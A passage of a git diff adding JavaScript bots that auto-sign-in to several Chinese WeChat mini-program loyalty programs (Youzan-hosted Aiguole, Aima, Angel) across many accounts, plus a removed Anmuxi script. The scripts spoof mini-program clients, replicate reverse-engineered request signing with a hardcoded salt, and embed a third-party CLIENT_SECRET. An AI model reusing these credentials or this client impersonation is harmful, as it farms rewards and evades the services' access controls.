raw: true }); + if (!/^\d{10,}$/.test(m)) throw new Error(`currentTime 不是时间戳: ${short(m, 60)}`); + const data = { authCode: code }; + const s = md5(sortChars(`${m}${JSON.stringify(data)}`)); + const res = await this.request(EP_LOGIN, { method: "POST", withAuth: false, body: { data, m, s } }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const d = res.data || {}; + this.token = String(d.token || ""); + if (!this.token) { + // 服务端明确只回 identityId/accessToken,没有 token —— 这是"未注册"的表现 + this.unregistered = !!d.identityId; + throw new Error("NO_TOKEN"); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + /** 读今日签到状态;没权限返回 null */ + async signedInfo(needLog = true) { + const res = await this.request(EP_SIGN_INFO); + if (!isOk(res)) { + if (needLog && !isNoAccess(res)) this.log(`读取签到状态失败: ${msgOf(res)}`); + return null; + } + const d = res.data; + if (needLog) this.log(`签到状态: ${short(d, 120)}`); + return d === undefined || d === null ? {} : d; + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if ((await this.signedInfo(false)) !== null) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async sign() { + const res = await this.request(EP_SIGN); + if (isOk(res)) { + this.log("✅ 签到成功"); + const acc = await this.request(EP_ACCOUNT, { method: "POST", body: {} }); + if (isOk(acc)) this.log(`积分: ${short(acc.data, 100)}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNoAccess(res)) { + this.log(`⚠️ ${msgOf(res)} —— 会话没有权限,多半是该微信号还没在爱裹注册(注册要手机号),先在小程序里注册一次再跑`); + return; + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message) === "NO_TOKEN") { + this.log("⚠️ 登录成功但服务端没发 token —— 该微信号还没在爱裹注册会员(注册要手机号),先在小程序里注册一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/aiguoyue.js b/wxapp/aiguoyue.js new file mode 100644 index 00000000..f2f3da04 --- /dev/null +++ b/wxapp/aiguoyue.js @@ -0,0 +1,301 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 爱果乐之家微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:aiguoyue +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("爱果乐之家微信小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const querystring = require("querystring"); + +const MINI_APP_ID = "wxa1086b8081476f46"; +const KDT_ID = "18774683"; +const USER_VERSION = "2.195.7.101"; +const CLIENT_ID = "4d65249d377b2c3ed8"; +const CLIENT_SECRET = "1cdc05151d64f3a4a6ebd0e9de64422a"; +const GRANT_TYPE = "yz_union"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "aiguoyue_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "aiguoyue"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function maskToken(token = "") { + if (!token) return ""; + return token.length > 12 ? `${token.slice(0, 6)}***${token.slice(-6)}` : `${token.slice(0, 3)}***`; +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = {}; + this.checkinId = ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.token = cached; + $.log(`账号[${this.index}] 使用缓存token: ${maskToken(this.accessToken)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新code登录`); + } + } + + if (!this.accessToken) { + await this.loginByWxCode(); + } + if (!this.accessToken) return; + + await this.getPoints("签到前"); + await this.getCheckinInfo(); + await this.getActivityInfo(); + await this.doCheckin(); + await this.getPoints("签到后"); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.accessToken) return; + const cache = readTokenCache(); + cache[this.openid] = { + ...this.token, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = {}; + } + + get accessToken() { + return this.token.accessToken || this.token.access_token || ""; + } + + get sessionId() { + return this.token.sessionId || this.token.session_id || ""; + } + + buildExtraData() { + return JSON.stringify({ + is_weapp: 1, + sid: this.sessionId, + version: USER_VERSION, + client: "weapp", + bizEnv: "wsc", + }); + } + + buildUrl(apiPath, query = {}) { + const pathname = apiPath.replace(/^\/+/, ""); + const params = querystring.stringify({ + store_id: "", + app_id: MINI_APP_ID, + kdt_id: KDT_ID, + access_token: this.accessToken, + ...query, + }); + return `${API_BASE}/${pathname}?${params}`; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/3/page-frame.html`, + "Extra-Data": this.buildExtraData(), + "Accept": "application/json, text/plain, */*", + ...extra, + }; + } + + async request({ method = "GET", apiPath, query = {}, data = {}, skipToken = false }) { + const oldToken = this.token; + if (skipToken) this.token = {}; + const options = { + method, + url: this.buildUrl(apiPath, query), + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (method !== "GET") options.data = data; + if (skipToken) this.token = oldToken; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${typeof result === "string" ? result.slice(0, 200) : JSON.stringify(result)}`); + if (!result || result.code !== 0) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.data; + } + + async getWxCode() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { status, data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + const code = data?.code || data?.data?.code; + if (status !== 200 || !code) throw new Error(`wx_server 获取code失败: HTTP ${status} ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getWxCode(); + const data = await this.request({ + method: "POST", + apiPath: "wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientId: CLIENT_ID, + clientSecret: CLIENT_SECRET, + grantType: GRANT_TYPE, + code, + }, + }); + this.token = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data?.nick_name || data?.nickName || ""} ${maskPhone(data?.mobile)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getPoints("缓存校验"); + return true; + } catch (e) { + return false; + } + } + + async getPoints(label = "积分") { + const data = await this.request({ apiPath: "wscump/integral/user_points.json" }); + const points = data?.current_points ?? data?.real_points ?? data?.total_points ?? "未知"; + $.log(`账号[${this.index}] ${label}: ${points}积分`); + return data; + } + + async getCheckinInfo() { + const data = await this.request({ apiPath: "wscump/checkin/check-in-info.json" }); + this.checkinId = data?.checkInId || data?.checkinId || data?.check_in_id || ""; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} ownerKdtId=${data?.activityOwnerKdtId || ""}`); + return data; + } + + async getActivityInfo() { + if (!this.checkinId) return null; + const data = await this.request({ + apiPath: "wscump/checkin/get_activity_by_yzuid_v2.json", + query: { checkinId: this.checkinId }, + }); + this.isCheckin = !!data?.isCheckin; + this.isOpen = data?.isOpen !== false; + const reward = (data?.dailyRewards || []).map((item) => item?.desc).filter(Boolean).join(", "); + $.log(`账号[${this.index}] 签到状态: ${this.isCheckin ? "已签" : "未签"} 连续${data?.continuesDay ?? 0}天${reward ? ` 今日奖励${reward}` : ""}`); + return data; + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到签到活动,跳过`); + return; + } + if (this.isCheckin) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + if (!this.isOpen) { + $.log(`账号[${this.index}] 签到活动未开启`); + return; + } + + try { + const data = await this.request({ + apiPath: "wscump/checkin/checkinV2.json", + query: { checkinId: this.checkinId }, + }); + const award = (data?.list || []) + .map((item) => item?.infos?.title || item?.infos?.desc || "") + .filter(Boolean) + .join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${award ? ` ${award}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已经签到|重复|今日.*签|参与次数/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (e.code === -1 || e.code === 40010 || e.code === 40009 || /登录|token|access/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/aima.js b/wxapp/aima.js new file mode 100644 index 00000000..0984db96 --- /dev/null +++ b/wxapp/aima.js @@ -0,0 +1,281 @@ +/* +爱玛会员俱乐部 - 自动签到脚本 +变量名:aima +变量值:账号标识/openid(支持多账号,用 & 或换行分隔) +CODE登录依赖:wx_server_url、wx_auth +*/ +const { Env } = require("../tools/env"); +const $ = new Env("爱玛会员俱乐部"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); + +// ================== 配置区 ================== +const ACTIVITY_ID = "100001275"; +const BASE_URL = "https://scrm.aimatech.com"; +const WXCLIENT_URL = `${BASE_URL}/aima/wxclient`; +const MINI_APPID = "wx2dcfb409fd5ddfb4"; +const APP_ID = "scrm"; +const TOKEN_CACHE_FILE = path.join(__dirname, "aima_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 15; 23013RK75C Build/AQ3A.250226.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.173 Mobile Safari/537.36 XWEB/1420229 MMWEBSDK/20251101 MMWEBID/6369 MicroMessenger/8.0.67.3000(0x28004333) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android"; + +// ================== 工具函数 ================== +function generateUUID() { + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (c) => { + const r = (Math.random() * 16) | 0; + const v = c === "x" ? r : (r & 0x3) | 0x8; + return v.toString(16); + }); +} + +function md5(str) { + return crypto.createHash("md5").update(str).digest("hex"); +} + +function maskToken(token = "") { + if (!token) return ""; + if (token.length <= 12) return `${token.slice(0, 3)}***`; + return `${token.slice(0, 6)}***${token.slice(-6)}`; +} + +function isToken(value = "") { + return /^eyJ/.test(value.trim()) || value.length > 120; +} + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")); + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2)); + } catch (e) { + $.log(`⚠️ token缓存写入失败: ${e.message}`); + } +} + +function updateCachedToken(account, token) { + if (!account || !token || isToken(account)) return; + const cache = readCache(); + cache[account] = { + token, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); +} + +function getResponseToken(headers = {}) { + return ( + headers["set-access-token"] || + headers["Set-Access-Token"] || + headers["SET-ACCESS-TOKEN"] || + "" + ); +} + +function buildHeaders(token = "") { + const timestamp = Date.now().toString(); + const traceLogId = generateUUID(); + const signToken = token ? token.substring(50, 80) : ""; + const signStr = `App-Id${APP_ID}Time-Stamp${timestamp}TraceLog-Id${traceLogId}Access-Token${signToken}AimaScrm321_^`; + + return { + "App-Id": APP_ID, + "Time-Stamp": timestamp, + "TraceLog-Id": traceLogId, + "Access-Token": token, + Sign: md5(signStr).toLowerCase(), + "content-type": "application/json", + charset: "utf-8", + Referer: "https://servicewechat.com/wx2dcfb409fd5ddfb4/223/page-frame.html", + "User-Agent": USER_AGENT, + }; +} + +async function request(method, url, token, options = {}) { + const res = await axios({ + method, + url, + headers: buildHeaders(token), + timeout: 15000, + validateStatus: () => true, + ...options, + }); + + const newToken = getResponseToken(res.headers); + if (newToken && options.account) { + options.onToken?.(newToken); + updateCachedToken(options.account, newToken); + } + + return res; +} + +async function getWxCode(account) { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) { + throw new Error("未配置 wx_server_url 或 wx_auth,无法获取code登录"); + } + + const res = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { + appid: MINI_APPID, + openid: account, + }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + + const code = res.data?.code || res.data?.data?.code; + if (res.status !== 200 || !code) { + throw new Error(`获取code失败: HTTP ${res.status} ${JSON.stringify(res.data)}`); + } + + return code; +} + +async function loginByCode(account) { + $.log("🔐 正在获取code并登录..."); + const code = await getWxCode(account); + const res = await request("post", `${WXCLIENT_URL}/user/members:login`, "", { + data: { code }, + account, + }); + + const token = getResponseToken(res.headers); + if (res.status !== 200 || res.data?.code !== 200 || !token) { + throw new Error(`登录失败: HTTP ${res.status} ${JSON.stringify(res.data)}`); + } + + updateCachedToken(account, token); + $.log(`✅ 登录成功,已缓存token: ${maskToken(token)}`); + return token; +} + +async function validateToken(account, token) { + const res = await request("get", `${WXCLIENT_URL}/member/IndexInfo`, token, { + account, + }); + const ok = res.status === 200 && res.data?.code === 200; + if (!ok) { + $.log(`⚠️ 缓存token失效: HTTP ${res.status} ${JSON.stringify(res.data)}`); + } + return ok; +} + +async function getAccessToken(account) { + const value = account.trim(); + if (isToken(value)) { + $.log(`ℹ️ 检测到旧token变量,将直接使用: ${maskToken(value)}`); + return value; + } + + const cache = readCache(); + const cachedToken = cache[value]?.token; + if (cachedToken) { + $.log(`🔎 使用缓存token校验: ${maskToken(cachedToken)}`); + if (await validateToken(value, cachedToken)) { + $.log("✅ 缓存token有效"); + return cachedToken; + } + } + + return loginByCode(value); +} + +// ================== 核心逻辑 ================== +async function signIn(account, index) { + let token = await getAccessToken(account); + const setToken = (newToken) => { + token = newToken; + }; + + $.log(`🚀 账号【${index}】查询签到状态...`); + const searchRes = await request( + "post", + `${WXCLIENT_URL}/mkt/activities/sign:search`, + token, + { + data: { activityId: ACTIVITY_ID }, + account, + onToken: setToken, + } + ); + + if (searchRes.status !== 200 || searchRes.data?.code !== 200) { + throw new Error(`查询签到状态失败: HTTP ${searchRes.status} ${JSON.stringify(searchRes.data)}`); + } + + const signStatus = searchRes.data?.content?.signStatus; + if (signStatus === 1) { + $.log(`✅ 账号【${index}】今日已签到!`); + return; + } + + $.log(`⏳ 账号【${index}】正在签到...`); + const joinRes = await request( + "post", + `${WXCLIENT_URL}/mkt/activities/sign:join`, + token, + { + data: { activityId: ACTIVITY_ID, activitySceneId: null }, + account, + onToken: setToken, + } + ); + + if (joinRes.status === 200 && joinRes.data?.code === 200) { + const point = joinRes.data.content?.point || joinRes.data.content?.points || 0; + $.log(`🎉 账号【${index}】签到成功!${point ? `获得 ${point} 积分` : ""}`); + } else { + throw new Error(`签到失败: HTTP ${joinRes.status} ${JSON.stringify(joinRes.data)}`); + } +} + +// ================== 主函数 ================== +!(async () => { + console.log("\n🔔 爱玛会员俱乐部, 开始!"); + + let accounts = []; + if ($.isNode()) { + const env = process.env.aima; + if (env) { + accounts = env.split(/&|\n/).map((t) => t.trim()).filter(Boolean); + } + } + + if (accounts.length === 0) { + $.msg("❌ 未找到账号标识,请配置变量 'aima'"); + return; + } + + console.log(`共找到${accounts.length}个账号`); + + for (let i = 0; i < accounts.length; i++) { + try { + console.log(`\n🚀 user:【${i + 1}】 start work`); + await signIn(accounts[i], i + 1); + } catch (e) { + console.log(`❌ 账号【${i + 1}】执行失败: ${e.message}`); + } + } + + // await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); diff --git a/wxapp/ajier.js b/wxapp/ajier.js new file mode 100644 index 00000000..f80370ab --- /dev/null +++ b/wxapp/ajier.js @@ -0,0 +1,228 @@ +/* +------------------------------------------ +@Description: 安吉尔(净水器)会员 - 微信小程序静默登录 + 每月签到 +cron: 25 8 * * * +------------------------------------------ +变量名:ajier +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx c4a1f99a6c90c1a4,host userone.angelgroup.com.cn): +(迁移自 YYB-GO 系抓包脚本,原脚本已 code 登录) + +登录 POST /api/member/app/wxLogin JSON {sourceType:1, code:} + 头 behavior:"{}" / merchantId:"10000" / content-type json + -> code==200,data.token + data.buyerUserId +签到 POST /api/member/marketSign/signTable JSON {checkInDateStart, checkInDateEnd, month, userId} + 头 Authorization: Bearer + 同上固定头;成功码 200 + (signTable 传当月起止 + userId,服务端据此记签到;日期格式 YYYY-MM-DD HH:mm:ss) +积分 POST /api/member/v1/user/queryInfo(可选,未强用) +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("安吉尔会员"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "ajier"; +const MINI_APP_ID = "wxc4a1f99a6c90c1a4"; +const BASE = "https://userone.angelgroup.com.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "ajier_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/134.0.0.0 " + + "Mobile Safari/537.36 MicroMessenger/8.0.76.3141(0x28004C3C) MiniProgramEnv/android"; + +const EP_LOGIN = "/api/member/app/wxLogin"; +const EP_SIGN = "/api/member/marketSign/signTable"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function pad(n) { + return n < 10 ? "0" + n : "" + n; +} + +/** 当月起止(本地时间),格式 YYYY-MM-DD HH:mm:ss */ +function monthRange() { + const d = new Date(); + const y = d.getFullYear(); + const m = d.getMonth() + 1; + const last = new Date(y, m, 0).getDate(); + return { + start: `${y}-${pad(m)}-01 00:00:00`, + end: `${y}-${pad(m)}-${pad(last)} 23:59:59`, + month: m, + }; +} + +const isOk = (res) => Number(res?.code) === 200 || res?.success === true; +const msgOf = (res) => res?.message || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (res) => /登录|token|未授权|失效|过期|401|未登录/i.test(msgOf(res)) || Number(res?.code) === 401; + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.userId = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + baseHeaders(extra = {}) { + return { + behavior: "{}", + merchantId: "10000", + "content-type": "application/json", + charset: "utf-8", + Accept: "*/*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/76/page-frame.html`, + ...extra, + }; + } + + async request(apiPath, body, withAuth = false) { + const headers = this.baseHeaders(withAuth && this.token ? { Authorization: `Bearer ${this.token}` } : {}); + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data: body || {}, + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { sourceType: 1, code }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const d = res.data || {}; + this.token = String(d.token || ""); + this.userId = String(d.buyerUserId || d.userId || ""); + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + // 有 token 但无 buyerUserId(phone 也为 null)= 该微信号未注册会员,签不了 + this.unregistered = !this.userId; + const cache = readCache(); + cache[this.account.openid] = { token: this.token, userId: this.userId, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.unregistered ? "(该微信号未注册会员)" : ""}`); + } + + async sign(retry = true) { + const r = monthRange(); + const res = await this.request(EP_SIGN, { + checkInDateStart: r.start, + checkInDateEnd: r.end, + month: r.month, + userId: this.userId, + }, true); + if (isOk(res)) return this.log(`✅ 签到成功${res.message ? `:${res.message}` : ""}`); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (retry && isAuthError(res)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token && cached.userId) { + this.token = cached.token; + this.userId = cached.userId; + this.log("使用缓存token"); + return; + } + if (!this.token) await this.login(); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + if (this.unregistered) { + this.log("⚠️ 该微信号还没在安吉尔注册会员(登录只发到 token、无 userId),先在小程序里注册一次再跑"); + return; + } + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/anmuxi.js b/wxapp/anmuxi.js deleted file mode 100644 index a2c41f6e..00000000 --- a/wxapp/anmuxi.js +++ /dev/null @@ -1,332 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 测试 ------------------------------------------- -#Notice: - 安慕希小程序 变量名anmuxi - 抓wx-amxshop.msxapi.digitalyili.com/api headers中accessToken值 多账户&分隔 -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const $ = new Env("安慕希小程序"); -let ckName = `anmuxi`; -const strSplitor = "#"; -const envSplitor = ["&", "\n"]; -const notify = $.isNode() ? require("../sendNotify") : ""; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - -class Public { - request(options) { - return axios.request(options); - } -} -class Task extends Public { - constructor(env) { - - super(); - this.index = $.userIdx++ - let user = env.split("#"); - this.token = user[0]; - this.signed = true - - } - - async daily_sign() { - let options = { - method: "GET", - - url: `https://wx-amxshop.msxapi.digitalyili.com/api/user/daily/sign?exParams=false`, - headers: { - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "accesstoken": "" + this.token, - "content-type": "application/x-www-form-urlencoded", - "scene": "1256", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "cross-site", - "xweb_xhr": "1" - } - } - try { - let { data: res } = await this.request(options); - if (res.code == 200) { - $.log(`签到成功 获得【${res.data.dailySign.bonusPoints}】分`) - } else { - $.log(`签到失败`) - console.log(res); - - } - } catch (e) { - console.log(`签到失败`) - } - } - async daily_sign_status() { - let options = { - method: "GET", - - url: `https://wx-amxshop.msxapi.digitalyili.com/api/user/sign/status`, - headers: { - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "accesstoken": "" + this.token, - "content-type": "application/x-www-form-urlencoded", - "scene": "1256", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "cross-site", - "xweb_xhr": "1" - } - } - try { - let { data: res } = await this.request(options); - if (res.code == 200) { - if (res.data.signed == false) { - this.signed = false - $.log(`已签到 【${res.data.signDays}】天 检测到今日未签到`) - } else { - $.log(`已签到 【${res.data.signDays}】天 检测到今日已签到`) - this.signed = true - } - - } else { - $.log(`获取签到状态失败`) - console.log(res); - - } - } catch (e) { - console.log(`签到失败`) - } - } - async user_score() { - let options = { - method: "GET", - - url: `https://wx-amxshop.msxapi.digitalyili.com/api/user/score`, - headers: { - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "accesstoken": "" + this.token, - "content-type": "application/x-www-form-urlencoded", - "scene": "1256", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "cross-site", - "xweb_xhr": "1" - } - } - try { - let { data: res } = await this.request(options); - if (res.code == 200) { - $.log(`当前积分【${res.data}】天`) - } else { - $.log(`获取积分失败`) - console.log(res); - - } - } catch (e) { - console.log(`签到失败`) - } - } - - async run() { - await this.user_score(); - - await this.daily_sign_status(); - if (this.signed == false) { - await this.daily_sign(); - } - - - - } -} - - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - // - - await new Task(user).run(); - - } - - -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - } - } - let { data: res } = await new Public().request(options); - $.log(res) - return res -} - - -// prettier-ignore -function Env(t, s) { - return new (class { - constructor(t, s) { - this.userIdx = 1; - this.userList = []; - this.userCount = 0; - this.name = t; - this.notifyStr = []; - this.logSeparator = "\n"; - this.startTime = new Date().getTime(); - Object.assign(this, s); - this.log(`\ud83d\udd14${this.name},\u5f00\u59cb!`); - } - checkEnv(ckName) { - let userCookie = (this.isNode() ? process.env[ckName] : "") || ""; - this.userList = userCookie.split(envSplitor.find((o) => userCookie.includes(o)) || "&").filter((n) => n); - this.userCount = this.userList.length; - this.log(`共找到${this.userCount}个账号`); - } - async sendMsg() { - this.log("==============📣Center 通知📣==============") - for (let i = 0; i < this.notifyStr.length; i++) { - if (Object.prototype.toString.call(this.notifyStr[i]) === '[object Object]' || - 